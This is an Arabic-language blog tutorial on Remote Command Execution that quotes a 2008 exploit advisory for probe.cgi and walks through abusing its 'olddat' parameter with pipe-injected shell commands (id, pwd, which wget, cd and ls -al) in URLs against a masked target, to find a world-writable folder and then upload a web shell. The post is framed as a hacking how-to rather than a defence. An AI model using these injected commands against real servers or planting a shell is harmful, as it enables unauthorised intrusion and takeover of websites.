شرح ثغرة Remote Command Execution
السلام عليكم
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدفوهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين
============================== =====
ثغرات تنفيذ الاوامر Command Execution
============================== =====هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت
كود:
Authors ....... spher3 (spher3 at fatalimpulse dot net) Date .......... 04-07-2008 Product ....... probe.cgi Type .......... Remote Command Execution o Info: ================ That ****** is used to open file '.dat'. o Vulnerable Code: ================ .. 23 [...] 24 $old = $query->param('olddat'); 25 [...] .. .. 34 [...] 35 open (VF, "$olddat"); 36 [...] .. (24) At this line, the cgi param 'olddat' is associated to one database. This variable isn't checked by anyone matching, so you can open all file that you want. (35) At this line the ****** open the file that you had chosen. With pipe `|` is possible to execute arbitrary code on the shell. o Proof of concept: ================ http://????.com/cgi-bin/probe.cgi?olddat=|id| uid=99(www) gid=99(www)
والملف المصاب هو probe.cgi
..والان لنرى كيف يتم استغلال هذه الثغرة |http://????.com/cgi-bin/probe.cgi?olddat=|id????.com= الموقع الافتراضي المستهدفcgi-bin = مجلد cgi-binprobe.cgi = الملف المصابolddat = مكان الاصابة داخل الملف|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التاليuid=99(www) gid=99(www)
والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:/home/.????/cgi.bin
والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان idwhich wget هكذا :|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهرwget )
والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو /home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك نضع مكان الـ id
cd /home/.???/;pwd
هكذا:|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al;هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al
ثم نبحث عن المجلد الذي له تصريح :
drwxrwxrwx = 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )ولندخل اليه نكتب هكذا:|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd
والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات
شرح ثغرة Remote Command Execution
Reviewed by Tap top
on
أكتوبر 05, 2015
Rating:

اترك تعليق